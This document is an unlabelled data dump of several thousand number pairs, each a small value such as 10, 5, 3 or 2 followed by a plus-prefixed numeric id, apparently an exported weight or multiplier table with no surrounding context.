10 +10137 5 +10138 10 +10139 5 +10140 10 +10141 5 +10142 5 +10143 10 +10144 3 +10145 10 +10146 5 +10147 3 +10148 8 +10149 10 +10150 3 +10151 3 +10152 10 +10153 5 +10154 5 +10156 3 +10155 2 +10157 10 +10158 8 +10159 2 +10160 10 +10161 2 +10162 2 +10163 3 +10164 2 +10165 2 +10166 3 +10167 10 +10172 3 +10168 10 +10169 10 +10170 10 +10171 2 +10173 3 +10174 10 +10175 5 +10176 5 +10177 3 +10178 3 +10179 5 +10180 10 +10181 10 +10182 10 +10183 10 +10184 10 +10186 10 +10187 10 +10188 10 +10189 10 +10190 10 +10191 10 +10192 10 +10193 10 +10194 10 +10195 10 +10197 10 +10196 10 +10198 10 +10201 10 +10199 10 +10200 10 +10202 10 +10203 10 +10204 10 +10205 10 +10206 10 +10207 10 +10208 10 +18764 10 +10210 10 +10211 10 +10212 10 +10213 10 +10214 10 +10215 10 +10216 10 +10217 10 +10219 10 +10220 10 +10221 10 +10223 10 +10225 10 +10224 10 +10226 10 +10227 10 +10228 10 +10229 10 +10231 10 +10230 10 +10232 10 +10233 10 +10268 10 +10234 10 +10235 10 +10236 10 +10237 10 +10240 10 +10239 10 +10238 10 +10241 10 +10242 10 +10244 10 +10243 10 +10245 10 +10246 10 +10247 10 +10248 10 +10251 10 +10252 10 +10253 10 +10254 10 +10255 10 +10256 10 +10257 10 +10258 10 +10259 10 +10260 10 +10261 10 +10262 10 +10263 10 +10264 10 +10265 10 +10266 10 +10267 10 +10269 10 +10271 10 +13172 10 +10273 10 +10274 10 +10275 10 +10276 10 +10277 10 +10278 10 +20298 5 +10288 10 +10279 10 +10290 5 +10280 3 +10282 5 +10283 10 +10284 10 +10285 10 +10286 10 +10289 10 +10291 8 +10292 10 +10293 10 +20299 10 +10294 5 +10295 10 +19566 10 +10296 10 +10297 10 +10298 10 +19567 10 +10300 5 +10299 10 +10301 10 +10302 10 +10303 10 +19568 10 +10304 10 +10305 5 +10306 5 +10312 10 +10325 10 +10326 10 +10327 10 +10328 10 +10329 10 +10330 10 +10333 10 +10334 10 +10335 10 +19571 10 +10340 10 +10341 10 +10342 10 +19118 3 +10364 10 +10365 10 +10366 10 +10367 10 +10368 10 +10369 10 +10370 10 +10373 10 +10374 10 +10375 10 +10344 10 +10345 10 +10346 10 +10348 10 +10349 10 +20300 10 +10350 10 +10351 10 +10352 10 +10354 10 +10355 10 +10357 10 +10356 10 +10358 10 +10359 10 +10360 10 +10361 10 +20301 10 +10362 10 +19572 10 +20302 10 +20303 10 +10385 10 +10386 10 +10387 10 +10389 10 +10390 10 +10391 10 +10392 10 +10393 10 +10394 10 +10395 10 +10397 10 +10396 10 +10398 10 +10399 10 +10400 10 +10401 10 +10402 10 +10403 10 +10388 10 +10404 10 +10405 10 +10406 10 +10411 10 +10408 10 +19573 10 +10410 10 +10412 10 +10414 10 +10435 10 +10441 10 +10442 10 +10443 5 +10444 5 +10445 10 +10446 10 +10447 10 +10448 10 +10449 10 +10450 10 +10451 10 +10452 10 +10453 10 +10454 10 +10455 10 +10456 10 +10457 10 +10462 10 +10461 10 +10458 10 +10459 10 +10460 10 +10463 10 +10464 10 +10465 10 +10466 10 +10467 8 +10468 10 +10469 10 +10470 8 +10472 10 +10471 10 +10473 10 +10474 10 +10476 10 +10475 10 +10477 10 +10479 10 +10483 5 +10486 3 +10487 3 +10488 2 +10489 10 +10490 2 +10491 10 +10492 10 +10493 5 +10494 8 +10495 5 +10496 5 +10497 3 +10498 10 +10499 8 +10500 10 +10501 8 +10502 3 +10505 10 +10506 10 +10507 10 +10508 3 +10509 10 +10510 10 +10512 5 +10522 3 +10523 10 +10524 5 +10525 10 +10526 10 +10547 5 +10548 5 +10551 8 +10557 10 +10558 1.5 +10559 10 +10560 10 +10561 2 +10562 2 +10563 8 +10565 3 +10564 5 +10566 5 +10567 5 +10569 3 +10568 5 +10570 5 +10571 5 +10572 5 +10573 3 +10574 3 +10575 5 +10576 10 +10577 5 +10578 10 +10579 3 +10553 5 +10554 3 +10555 5 +10556 10 +10580 10 +10581 10 +10582 10 +10527 5 +10528 5 +10529 8 +10530 5 +10531 3 +10532 3 +10533 10 +10535 8 +10536 5 +10537 5 +10538 5 +10539 5 +10540 5 +10541 5 +10543 8 +10544 10 +10545 5 +10583 3 +10584 3 +10585 8 +10586 10 +10587 5 +10588 5 +10589 3 +10590 5 +10591 5 +10592 8 +10593 3 +10594 5 +10596 10 +10597 8 +10598 10 +10604 10 +10605 8 +10603 10 +10606 10 +10607 5 +10608 5 +10609 10 +10610 2 +10611 5 +10614 5 +10612 8 +10613 8 +10616 3 +10615 5 +10617 10 +10618 2 +10619 5 +13173 10 +2955 2 +2956 3 +2962 3 +2963 5 +2960 5 +2964 3 +2961 5 +5478 5 +2957 3 +2965 5 +2958 5 +2959 5 +2966 5 +2967 2 +2968 2 +2970 10 +2971 10 +2969 10 +2991 5 +2990 2 +2986 3 +2987 5 +2989 2 +2984 2 +2983 5 +2985 2 +2982 3 +2988 2 +2992 5 +2993 5 +2994 5 +2995 5 +2996 2 +2998 5 +3023 5 +3026 5 +3024 3 +3025 3 +3027 5 +4656 5 +3031 2 +5723 5 +3032 2 +3028 2 +3029 2 +3033 3 +3040 5 +3035 2 +3037 2 +3039 5 +3043 5 +3041 2 +3042 2 +3036 2 +3038 3 +3044 2 +18788 3 +3057 5 +3045 1.3 +3050 5 +3048 5 +3047 5 +3049 5 +3052 3 +3051 1.3 +5487 3 +3055 5 +3053 10 +3056 5 +18129 2 +18128 2 +3065 2 +3066 5 +3067 3 +3068 5 +3058 5 +3059 3 +3064 5 +3062 5 +3060 5 +3061 5 +3063 3 +3069 5 +3070 5 +3071 5 +3073 2 +3072 5 +3074 3 +3083 5 +3079 2 +3075 3 +3077 5 +3078 5 +3080 5 +3076 3 +3082 2 +3081 2 +3084 2 +3085 5 +3086 2 +3087 2 +3088 2 +3089 2 +3090 2 +3091 5 +3092 2 +3093 2 +3094 2 +3095 2 +3096 3 +3097 2 +3098 2 +3099 2 +3100 2 +3101 2 +3108 5 +3102 5 +3103 2 +3104 2 +3107 2 +3105 2 +3106 5 +2999 5 +3000 5 +3001 5 +3002 3 +3003 2 +3006 3 +3005 5 +3004 3 +3007 2 +3008 2 +3009 2 +3010 3 +3011 5 +3012 5 +3013 3 +3015 3 +3014 10 +3016 5 +3017 2 +3018 2 +3019 2 +15001 3 +15002 2 +15004 2 +15005 1.3 +15006 1.3 +15007 1.3 +15008 1.5 +15009 1.5 +15010 1.5 +15011 1.5 +15012 1.3 +15013 1.5 +15014 1.3 +15016 1.3 +15015 2 +15017 1.5 +15018 1.5 +15019 2 +15020 2 +15021 2 +15022 1.5 +15023 1.5 +15024 1.5 +15025 1.3 +15026 2 +15027 3 +15028 3 +15029 2 +15030 3 +15031 2 +15032 2 +15033 10 +15034 2 +15035 2 +15036 2 +15037 2 +15038 2 +15039 3 +15040 3 +15041 2 +15042 1.5 +15043 2 +15044 3 +15045 1.5 +15046 2 +15047 5 +15048 2 +15049 3 +15050 1.5 +15051 2 +15052 2 +15053 2 +15054 2 +15055 3 +15056 5 +15057 5 +15058 5 +15059 2 +15060 3 +15061 2 +15062 2 +15063 1.5 +15065 3 +15064 1.3 +15066 2 +15067 2 +15068 1.5 +15000 2 +15069 1.5 +15070 2 +15071 1.5 +15072 1.3 +15073 1.5 +15074 2 +15075 2 +15076 2 +15077 2 +15078 2 +15079 2 +15080 2 +15081 2 +15082 2 +5827 2 +19146 1.3 +5772 2 +19147 5 +19148 3 +5825 2 +19149 2 +19141 2 +19143 5 +5754 5 +19144 2 +19142 2 +19145 1.5 +19140 3 +5808 1.2 +19155 2 +19156 2 +19157 1 +19158 1.5 +19159 2 +5807 3 +5809 2 +5810 2 +5812 2 +5813 2 +5756 1.3 +5758 5 +19160 1.5 +5762 2 +5761 8 +5765 5 +5766 2 +5760 2 +19150 2 +19154 2 +19151 2 +19152 5 +19153 2 +5774 2 +5796 3 +19162 1.2 +19163 2 +19164 2 +19165 2 +19166 2 +19167 2 +19161 3 +19168 3 +5797 1.3 +19169 1.3 +20317 10 +20318 10 +20319 10 +20320 10 +17300 8 +17299 5 +17301 5 +17302 5 +19541 2 +17303 5 +17304 5 +17305 3 +17306 3 +17307 5 +17308 3 +17309 3 +17310 2 +17311 5 +17312 2 +17313 5 +17316 5 +17314 2 +17315 3 +17317 3 +17318 5 +17319 5 +17320 5 +17321 5 +17322 5 +17323 3 +17324 5 +17325 5 +17326 5 +17327 5 +17328 5 +17329 5 +17331 5 +17330 5 +17332 5 +17333 3 +17334 2 +17335 2 +17336 5 +17337 5 +17338 5 +17339 3 +17340 5 +17341 3 +17342 5 +17343 5 +17344 5 +17345 5 +17346 3 +17349 5 +17347 5 +17348 5 +17350 10 +17351 5 +17352 10 +17353 5 +17354 5 +17355 5 +17356 3 +17357 10 +17358 3 +17359 3 +17360 3 +17361 3 +17362 5 +17363 3 +17365 3 +17364 3 +17366 3 +17367 3 +17368 5 +17369 8 +17371 5 +17372 3 +17373 3 +17374 5 +17375 3 +17376 3 +17378 5 +17379 5 +17380 5 +17381 5 +17383 3 +17382 8 +17384 5 +17385 8 +17386 3 +17387 2 +17388 3 +17389 3 +17390 3 +17391 2 +17392 2 +17393 2 +16346 8 +16348 8 +16349 5 +16350 5 +16351 5 +16358 5 +16360 8 +16361 2 +16362 5 +16363 2 +16364 2 +16365 2 +16366 8 +16367 5 +16369 10 +16371 5 +16372 2 +16373 5 +16374 8 +16375 8 +16376 5 +16377 2 +16381 8 +16378 8 +16379 5 +16380 8 +16382 2 +16383 8 +16384 5 +16385 8 +16386 5 +16387 5 +16388 5 +16390 5 +16391 8 +16389 5 +16392 5 +16393 5 +16394 8 +16395 5 +16396 5 +16398 5 +16397 2 +16401 5 +16400 5 +16402 5 +16403 8 +16404 2 +16405 2 +16406 5 +16408 5 +16409 8 +16410 10 +16411 8 +16412 10 +16413 10 +16414 5 +16415 8 +16416 8 +16417 8 +16418 8 +16419 5 +16420 5 +16421 2 +16422 5 +16423 8 +16424 2 +16425 8 +16426 8 +16430 8 +16431 10 +16432 5 +16433 5 +16434 5 +16435 10 +16436 5 +16437 5 +16438 10 +16439 8 +16440 10 +16442 5 +16444 8 +16443 8 +16445 5 +16446 8 +16447 8 +16449 8 +16453 8 +16455 10 +16456 8 +16457 8 +16459 8 +16465 10 +16466 8 +16467 8 +16468 10 +16469 10 +16470 10 +16471 10 +16473 10 +16472 10 +16474 10 +16476 10 +16477 10 +16478 8 +16480 10 +16483 5 +16484 10 +16485 10 +16486 10 +16487 10 +16488 5 +16489 10 +16482 5 +16491 10 +16490 10 +16492 10 +16493 10 +16494 10 +16495 10 +16496 10 +16498 8 +16499 10 +16520 5 +16521 5 +16522 3 +16523 3 +16524 8 +16525 8 +16526 5 +16527 8 +16528 10 +16529 5 +16530 5 +16531 8 +16532 8 +16533 5 +16534 5 +16535 8 +16536 8 +16537 10 +11801 5 +11802 3 +11803 5 +11804 2 +11805 8 +11806 3 +11807 8 +11809 3 +11810 3 +11811 3 +11812 3 +11813 3 +11814 2 +11815 5 +11816 1.3 +11817 3 +11818 2 +11819 5 +11820 8 +11821 3 +11822 3 +11823 5 +11824 3 +11825 5 +11826 8 +11827 5 +11828 3 +11829 2 +11830 5 +11831 5 +11832 3 +11833 8 +11834 8 +11835 3 +11836 5 +11838 8 +11837 8 +11839 2 +11840 8 +11841 5 +11842 8 +11843 10 +11844 10 +11845 2 +11846 2 +11848 2 +11849 2 +11851 2 +11852 2 +11853 2 +11854 2 +11855 3 +11857 3 +11859 2 +11858 5 +11860 5 +11861 5 +11863 5 +11864 3 +11862 3 +11866 3 +11865 3 +11867 2 +11868 3 +11869 3 +11870 3 +11871 3 +11856 2 +11873 3 +11872 5 +11875 2 +11874 8 +11876 3 +11877 3 +11878 3 +11879 5 +11880 5 +11881 2 +11882 10 +11883 3 +11884 3 +11885 3 +11886 3 +11887 3 +11888 2 +11889 2 +11890 2 +11891 2 +11892 2 +16553 10 +16554 5 +16555 10 +16557 5 +16558 5 +16559 5 +16560 5 +16561 2 +16563 3 +16564 5 +16565 5 +16566 5 +16568 5 +16569 5 +16570 5 +16571 3 +16573 5 +16574 5 +16575 5 +16576 10 +16577 5 +16578 5 +16579 5 +16581 5 +16582 8 +16583 10 +16584 5 +16585 8 +16586 8 +16587 3 +16589 10 +16590 10 +16591 5 +16592 5 +16593 10 +16594 5 +16595 10 +16597 10 +16598 10 +16599 5 +16600 8 +16601 5 +16602 5 +16603 5 +16604 10 +16605 8 +16612 5 +16622 5 +16613 5 +16614 10 +16615 5 +16616 5 +16617 8 +16618 5 +16619 5 +16620 10 +16621 10 +16623 5 +16624 5 +16625 5 +16626 5 +16627 5 +16628 5 +16629 5 +16630 5 +16631 10 +16633 8 +16634 10 +16648 8 +16636 10 +16635 5 +16637 10 +16638 5 +16639 10 +16640 10 +16641 5 +16642 10 +16643 5 +16644 10 +16645 10 +16646 8 +16647 10 +16649 5 +16650 8 +16652 5 +16653 5 +16654 5 +16655 5 +16656 5 +16657 5 +16658 10 +16659 5 +16660 5 +16661 5 +16662 5 +16664 10 +16665 8 +16666 10 +16667 10 +16668 10 +16669 10 +16670 10 +16671 10 +16672 10 +19493 10 +16673 10 +19494 10 +16674 10 +16675 10 +11893 3 +11894 5 +11895 3 +11896 5 +11897 5 +11898 2 +11899 10 +11900 2 +11901 3 +11902 5 +11903 2 +11904 3 +11905 5 +11906 2 +11907 5 +11908 3 +11909 2 +11910 8 +11911 5 +11912 8 +11913 5 +11914 5 +11915 5 +11916 5 +11917 5 +11919 5 +11920 8 +11918 5 +11921 5 +11922 8 +19284 5 +11923 5 +11924 2 +11925 5 +11926 5 +20100 10 +11927 5 +11928 5 +11929 5 +11930 8 +11935 5 +11936 5 +11932 10 +11933 10 +11934 5 +11937 5 +11938 5 +11939 5 +11940 5 +11941 5 +11942 3 +11943 3 +11944 5 +11945 5 +11947 5 +11948 5 +11949 5 +11950 5 +19281 5 +11951 5 +11952 5 +11953 5 +11954 5 +11955 3 +11956 8 +11957 10 +11958 5 +11959 5 +11960 10 +11961 5 +11962 2 +11963 5 +11964 5 +11965 3 +11966 10 +11968 5 +11969 5 +11970 5 +19287 8 +19288 5 +19289 10 +19290 5 +19291 5 +19292 5 +19293 5 +19279 5 +11973 3 +19285 1.3 +19276 2 +11978 3 +11977 3 +11981 10 +11983 2 +11985 2 +11986 2 +11988 2 +11987 2 +19277 1.3 +11989 3 +11990 2 +11991 2 +11992 2 +11993 2 +11994 5 +11995 5 +11996 5 +11997 5 +11998 5 +11999 2 +12000 5 +12001 5 +12002 3 +12004 5 +12006 3 +12005 5 +12007 5 +12008 5 +12009 2 +12010 3 +19283 2 +19280 5 +12015 3 +12023 5 +12017 5 +12018 8 +12019 8 +12022 5 +12024 5 +12025 5 +12026 3 +12027 5 +12030 5 +12031 2 +12032 2 +12033 2 +12034 2 +12035 5 +12036 2 +12037 3 +12038 2 +12039 2 +12040 3 +12041 2 +12042 3 +12043 5 +12044 5 +12047 5 +12046 5 +12049 5 +12050 3 +12052 5 +12053 5 +19282 3 +12054 3 +12055 3 +12056 8 +12058 5 +12059 5 +12060 3 +12061 5 +12062 2 +12064 8 +12065 5 +12066 5 +12067 8 +12068 10 +12069 8 +12071 8 +12076 8 +12083 5 +12084 5 +12088 5 +12085 2 +12086 2 +12087 10 +12089 2 +12090 5 +12091 5 +12092 2 +12093 2 +12094 2 +12095 2 +12096 2 +12102 2 +12103 5 +12104 3 +12106 10 +12107 5 +12097 5 +12098 2 +12099 2 +12100 2 +12101 5 +12109 2 +12108 2 +12110 2 +12111 2 +12112 2 +12113 2 +12114 2 +12115 2 +12116 10 +12117 10 +12118 5 +12119 5 +12120 5 +12121 5 +12122 5 +12123 5 +12124 5 +12125 5 +18760 5 +12079 5 +12080 2 +12081 2 +12082 2 +12127 5 +12129 3 +12131 3 +12132 2 +12133 2 +12134 3 +12135 2 +12136 5 +12137 5 +12138 10 +12139 2 +12140 2 +12141 2 +12142 2 +12143 2 +12144 2 +12147 2 +12148 5 +12157 10 +12159 5 +12158 2 +12160 5 +12162 8 +12163 5 +12164 5 +12165 8 +12166 5 +12169 5 +12170 5 +12171 8 +12172 5 +12150 5 +12151 5 +12152 2 +12153 2 +12156 10 +12174 3 +12175 2 +12176 5 +12177 5 +12178 8 +12179 5 +12180 10 +12181 8 +12182 5 +12183 5 +12184 5 +12185 5 +12186 5 +12187 5 +12188 5 +12189 5 +12190 5 +12191 5 +12192 5 +12195 5 +12193 5 +12196 5 +12197 5 +12198 5 +12200 5 +12201 8 +12202 5 +12203 8 +12204 8 +12205 5 +12206 5 +12207 5 +12208 8 +12209 5 +12210 2 +12211 8 +12213 8 +12214 5 +12215 8 +12216 8 +12217 5 +12199 8 +12218 8 +12219 5 +12220 5 +12221 5 +12222 5 +12224 2 +12225 5 +12228 5 +12229 5 +12231 2 +12232 5 +12233 5 +12234 5 +12235 2 +12236 2 +12237 2 +12238 5 +12239 8 +12240 5 +12241 8 +12242 10 +12243 8 +12244 5 +12245 10 +12246 5 +12247 5 +12248 5 +12249 5 +12250 2 +12251 2 +12252 5 +12254 5 +12255 5 +12256 10 +12257 5 +12258 5 +12259 10 +12260 5 +12261 5 +12262 5 +12263 5 +12264 5 +12265 5 +12266 5 +12267 5 +12269 5 +12270 10 +12271 10 +12272 5 +12274 10 +12275 10 +12277 5 +12281 5 +12283 5 +12273 10 +12288 10 +12289 8 +12290 8 +12291 8 +12294 5 +12295 5 +12292 10 +12293 10 +12296 5 +12298 2 +12299 2 +12300 8 +12301 5 +12302 5 +12303 5 +12304 5 +12305 5 +12306 2 +12307 8 +12308 10 +12309 5 +12310 2 +12311 2 +12312 5 +12313 2 +12314 5 +12315 2 +12317 2 +12338 5 +12339 8 +12340 2 +12341 2 +12342 2 +12343 5 +12344 5 +12345 8 +12346 5 +12347 5 +12348 5 +12349 5 +12350 5 +12351 5 +12352 5 +12353 5 +12355 5 +12354 5 +12356 5 +12357 5 +12358 5 +12359 5 +12360 5 +12361 5 +12362 5 +12364 8 +12365 5 +12366 5 +12367 5 +12368 5 +12369 5 +12370 5 +12371 5 +12372 8 +12373 5 +12374 5 +12376 5 +12377 5 +12378 8 +12379 5 +12380 5 +12381 5 +12382 5 +12383 5 +12384 5 +12385 5 +12386 5 +12387 5 +12388 5 +12389 8 +12391 5 +12392 8 +12393 8 +12394 5 +12395 5 +12396 8 +12397 5 +12398 5 +12400 2 +12399 5 +12401 2 +12402 5 +12403 5 +12405 5 +12404 5 +12406 5 +12407 10 +12408 5 +12411 10 +12412 5 +12413 10 +12414 10 +12415 5 +12416 5 +12409 5 +12417 5 +19273 5 +12410 5 +12418 10 +12419 5 +12420 10 +12421 5 +12422 5 +12424 5 +12425 5 +12426 5 +12423 5 +12428 5 +12427 5 +12429 8 +12430 10 +12431 5 +12432 10 +12433 10 +12435 5 +12437 5 +12438 5 +12439 8 +12440 5 +12441 2 +12442 2 +12443 2 +12444 2 +12445 2 +12446 2 +12447 2 +12448 2 +12449 2 +12450 5 +12451 2 +12452 5 +12453 2 +12454 2 +12455 5 +12457 2 +12458 2 +12459 2 +12460 2 +12456 2 +12464 2 +12461 2 +12463 3 +12462 2 +12465 3 +12466 2 +12467 2 +12468 2 +12469 2 +12470 2 +12471 2 +12472 10 +12473 5 +12474 2 +12475 2 +12476 2 +12478 2 +12480 2 +12481 2 +12482 3 +12483 2 +12484 3 +12477 3 +12485 3 +12486 3 +12487 5 +12488 2 +12491 2 +12492 2 +12493 2 +12495 2 +12496 2 +12497 2 +12498 2 +12499 2 +12500 2 +12501 2 +12502 2 +12503 2 +12489 2 +12504 2 +12505 2 +12506 3 +12490 2 +12507 2 +12508 2 +12509 2 +12510 2 +12511 2 +12512 2 +12513 3 +12514 2 +12515 2 +12516 2 +12517 2 +18608 5 +18609 5 +18610 5 +18611 5 +18612 10 +18613 8 +18614 10 +18616 3 +18618 10 +18619 3 +18617 3 +18620 5 +18621 3 +12518 2 +12519 2 +12520 2 +12521 3 +12522 2 +12523 3 +12524 2 +12525 3 +12526 3 +12527 2 +12528 3 +12530 2 +12529 3 +12531 3 +12532 3 +12533 3 +12534 1 +12535 2 +12536 3 +12537 2 +12538 2 +12539 2 +12540 2 +12541 2 +12542 8 +12543 2 +12544 3 +12545 2 +12546 1.1 +12547 5 +12548 2 +12549 3 +12550 3 +12553 3 +12551 3 +12552 3 +12554 2 +12555 3 +12556 2 +12557 2 +12558 2 +12559 5 +12560 5 +12561 3 +12562 2 +12563 2 +12564 2 +12565 2 +12566 3 +12567 2 +12568 2 +12569 3 +12570 2 +12571 2 +12572 5 +12573 5 +12574 3 +12575 3 +12576 3 +12577 2 +12578 2 +12579 2 +12581 3 +12580 2 +12582 2 +12584 3 +12583 2 +12585 3 +12586 3 +12587 3 +12589 1.2 +12590 2 +12591 10 +12593 3 +12592 1.5 +12594 5 +12595 5 +12596 3 +12597 2 +12598 2 +12599 2 +8640 5 +8641 10 +8642 5 +8643 5 +8644 5 +8645 2 +8646 5 +8647 5 +8648 5 +8649 2 +8650 5 +8651 5 +8652 10 +8653 2 +8654 2 +8655 2 +8656 2 +8657 2 +8658 2 +8659 2 +8660 2 +8661 5 +8662 2 +8663 2 +8664 2 +8665 2 +8666 2 +8667 2 +8668 2 +18658 3 +7721 3 +7723 5 +7724 3 +7725 5 +7726 3 +7728 3 +7727 5 +7729 5 +7730 5 +7731 5 +7732 5 +7733 5 +7734 5 +7735 3 +7736 5 +7737 5 +7738 5 +7739 5 +7740 5 +7741 5 +7742 3 +7743 3 +7744 3 +7745 5 +7746 5 +7747 5 +7748 3 +20111 10 +7750 3 +7749 3 +7751 3 +7752 3 +7753 5 +7754 5 +7755 3 +7756 3 +7758 5 +7757 5 +7759 3 +7760 3 +7761 5 +7762 5 +7763 5 +7764 3 +7765 5 +7766 3 +7767 5 +7768 3 +7769 3 +20112 10 +7770 3 +7771 5 +7772 3 +7773 5 +7774 3 +7775 3 +7776 3 +7777 5 +7778 3 +7779 2 +7780 5 +7781 3 +7782 2 +7783 3 +7784 5 +7785 5 +7788 3 +7786 5 +7787 5 +7789 5 +7790 5 +7791 5 +7792 5 +7793 3 +7794 5 +7795 3 +7796 8 +7797 5 +7798 3 +7799 5 +7800 5 +7801 3 +7803 5 +20129 10 +20130 10 +7802 5 +7804 8 +7805 5 +7806 10 +20235 10 +7816 10 +7817 3 +7807 2 +7808 3 +7810 3 +7811 3 +7812 2 +7809 2 +7813 3 +7814 5 +7815 3 +7818 5 +7821 3 +7822 5 +7824 10 +7825 5 +7830 5 +7831 5 +7835 5 +7836 5 +7839 8 +7841 3 +7844 5 +7845 5 +7849 5 +7855 5 +20350 5 +20349 5 +7859 2 +7863 10 +7864 8 +7866 3 +7867 5 +7865 3 +7862 8 +7868 5 +7869 8 +7870 5 +7871 5 +7872 5 +7873 10 +7874 2 +7875 5 +7876 2 +7877 5 +7878 3 +7880 5 +7881 5 +7879 5 +7882 3 +7884 5 +7902 3 +7903 5 +7887 2 +7888 10 +7889 5 +7894 8 +7905 5 +7885 5 +7891 5 +20131 10 +7896 8 +7898 2 +7899 2 +7900 2 +7901 5 +5853 2 +5886 2 +5903 5 +5904 5 +5895 5 +5898 8 +5890 2 +5894 2 +5891 5 +5889 5 +5885 5 +5892 5 +5887 2 +5905 5 +5893 5 +5897 5 +5888 3 +19120 2 +19272 2 +5900 5 +5899 2 +5896 5 +5901 5 +5884 3 +5875 2 +5870 5 +19121 3 +5872 5 +5881 5 +5874 5 +5879 5 +5878 5 +19122 5 +5873 5 +5877 5 +5871 5 +5876 5 +5882 5 +5869 5 +19123 3 +19124 5 +5880 5 +5862 3 +5863 3 +19126 2 +19127 5 +19128 5 +19129 5 +19130 5 +19131 5 +19132 3 +19133 3 +19134 5 +5857 2 +19135 2 +19136 5 +5860 3 +5866 5 +19137 5 +19138 5 +5865 5 +8684 2 +8685 2 +8686 2 +8687 2 +8688 2 +8689 2 +8690 2 +8691 2 +8692 2 +8693 2 +8694 2 +8695 2 +8696 10 +8697 2 +8698 2 +8699 2 +8700 2 +8701 2 +8702 2 +8703 2 +8704 2 +8705 2 +8706 2 +8707 2 +8708 2 +8709 2 +8710 2 +8711 2 +8712 2 +8713 10 +8714 2 +8715 2 +8716 2 +8717 5 +8718 1.3 +8719 2 +8720 10 +15117 10 +15118 2 +15120 2 +15119 5 +15121 5 +15122 3 +15123 2 +15124 3 +15125 3 +15126 3 +15127 5 +15128 8 +15129 10 +15130 10 +15131 10 +15135 5 +15140 10 +15142 5 +15156 5 +15157 5 +15158 3 +15159 10 +15162 10 +15165 2 +15166 3 +15167 3 +15168 2 +15169 5 +15170 3 +15175 5 +15189 10 +15190 10 +15191 2 +15192 10 +15194 8 +15193 10 +15215 5 +15211 10 +15212 5 +15213 5 +15214 10 +15216 8 +15217 5 +15196 5 +15197 10 +15198 5 +15199 10 +15201 5 +15202 8 +15203 10 +15204 2 +15205 5 +15206 5 +15207 5 +15208 5 +15209 10 +15210 3 +15218 10 +15233 10 +20090 5 +20293 10 +20091 5 +15234 5 +15236 5 +15235 5 +15237 10 +15238 8 +15240 10 +15239 5 +15241 10 +15242 10 +15243 10 +15244 10 +15247 5 +15248 3 +15246 5 +15249 3 +15253 8 +15254 5 +15257 2 +15258 5 +15259 2 +15260 5 +15261 5 +15262 5 +15263 5 +15264 5 +15265 2 +15266 5 +15267 5 +15268 5 +15269 2 +15281 5 +15326 3 +15329 5 +15331 5 +15334 5 +15292 5 +15293 10 +15294 3 +15295 5 +15296 5 +15297 5 +15298 5 +15300 3 +15299 10 +15301 5 +15302 10 +15303 10 +15304 3 +15305 2 +15306 3 +15307 5 +15308 5 +15309 3 +15310 5 +15311 3 +15312 5 +15313 2 +15314 2 +15315 8 +15316 5 +15317 2 +15318 10 +15320 10 +15319 3 +15321 5 +15322 5 +15323 10 +15324 2 +15286 10 +15344 5 +15345 3 +15350 5 +15354 10 +8187 10 +8188 10 +20203 10 +8190 5 +8191 10 +8200 3 +8204 5 +8205 8 +8217 10 +8218 2 +8219 2 +8220 5 +8221 2 +8222 3 +8223 10 +8224 3 +8225 3 +8226 3 +8228 2 +8227 5 +8229 2 +8230 2 +8231 5 +8232 2 +8233 3 +8234 3 +8235 3 +8236 5 +8237 5 +8238 3 +8239 3 +8240 2 +8241 5 +8242 5 +8243 10 +8245 5 +8244 3 +8246 2 +8247 3 +8248 8 +8249 5 +8250 3 +8251 5 +8252 2 +8253 3 +8254 3 +8255 3 +8256 3 +8257 3 +8260 3 +8261 3 +8259 3 +8258 3 +8262 3 +8263 3 +8264 3 +8265 2 +8266 5 +8267 3 +8269 3 +8268 3 +8270 3 +8271 5 +8272 5 +8273 5 +8274 5 +8275 3 +8276 5 +8277 3 +8278 2 +8281 2 +8279 5 +8282 2 +8280 3 +8283 3 +8284 3 +8285 3 +8286 5 +8287 5 +8288 5 +20072 10 +20073 10 +20074 10 +17170 5 +17169 5 +17179 5 +17178 5 +17173 5 +17171 2 +17177 3 +17174 5 +17175 3 +17172 5 +17176 5 +17180 3 +19495 8 +20280 10 +20291 10 +17181 8 +17184 2 +17183 5 +17182 2 +17185 5 +20292 10 +17186 8 +19496 10 +17195 5 +19497 8 +17199 5 +19498 10 +17196 5 +17197 3 +17198 2 +17200 5 +19499 10 +19500 8 +19501 5 +19502 5 +17201 5 +19503 5 +19506 8 +17202 5 +19504 5 +19505 10 +17203 3 +19508 5 +19509 10 +19510 10 +19511 8 +19512 5 +19513 5 +19514 10 +19515 7 +19516 10 +19517 5 +19518 5 +19519 5 +19520 5 +19521 5 +19522 3 +19523 8 +19524 5 +19525 10 +19550 5 +19526 8 +19528 8 +19529 10 +19530 8 +19531 3 +19532 8 +19533 8 +19534 8 +19527 2 +19535 2 +19536 8 +19537 8 +19538 10 +19539 10 +17239 10 +17235 5 +17229 10 +17231 8 +17230 8 +17232 8 +17234 10 +17233 8 +17236 8 +17237 5 +17240 10 +17238 10 +7313 2 +423 2 +7314 2 +7315 2 +7318 1.3 +7316 2 +7319 2 +5209 2 +7298 2 +7320 2 +7321 2 +7300 2 +5215 2 +7312 2 +3849 2 +435 2 +7305 2 +7309 2 +7311 2 +7310 2 +7307 2 +7322 1.3 +7317 2 +441 2 +20332 3 +20329 10 +6142 2 +20289 10 +6138 2 +6132 2 +6130 2 +6144 2 +6140 2 +20290 10 +20333 10 +6151 3 +6173 5 +6136 2 +20310 5 +6146 3 +6148 3 +20312 5 +6180 1.5 +6157 5 +6155 3 +6153 3 +20335 2 +6159 3 +6178 2 +6161 2 +6182 1.3 +6176 5 +6185 10 +6191 2 +6187 1.5 +6193 2 +6194 2 +6195 3 +6189 3 +20337 10 +6197 2 +6198 2 +6199 5 +6200 2 +6201 2 +6202 3 +6203 3 +6204 2 +20314 10 +6163 2 +6208 2 +6165 2 +6206 2 +8464 1 +8465 2 +8466 1.2 +8467 1.2 +8468 1.2 +8469 1 +8470 1 +8471 1 +8472 2 +8473 1.3 +8475 2 +8474 1 +8476 1.3 +8477 1.2 +8478 1 +8479 1.2 +8480 1.3 +8481 1 +8482 2 +8483 2 +8484 1.1 +8485 1.2 +20294 10 +8486 2 +8488 2 +20295 10 +8489 2 +8490 2 +8491 2 +8492 2 +8493 2 +8494 2 +8495 2 +8463 2 +8496 1.1 +8497 2 +8498 1.3 +15374 2 +15375 2 +15376 5 +15377 2 +15378 2 +15373 2 +15379 2 +15380 8 +15381 3 +15382 2 +15383 2 +15384 2 +15385 2 +15386 2 +15387 5 +15388 1.3 +15389 5 +15390 10 +15391 1.3 +15392 1.3 +15393 5 +15395 3 +15394 2 +15396 5 +15397 2 +15398 10 +15399 5 +15400 2 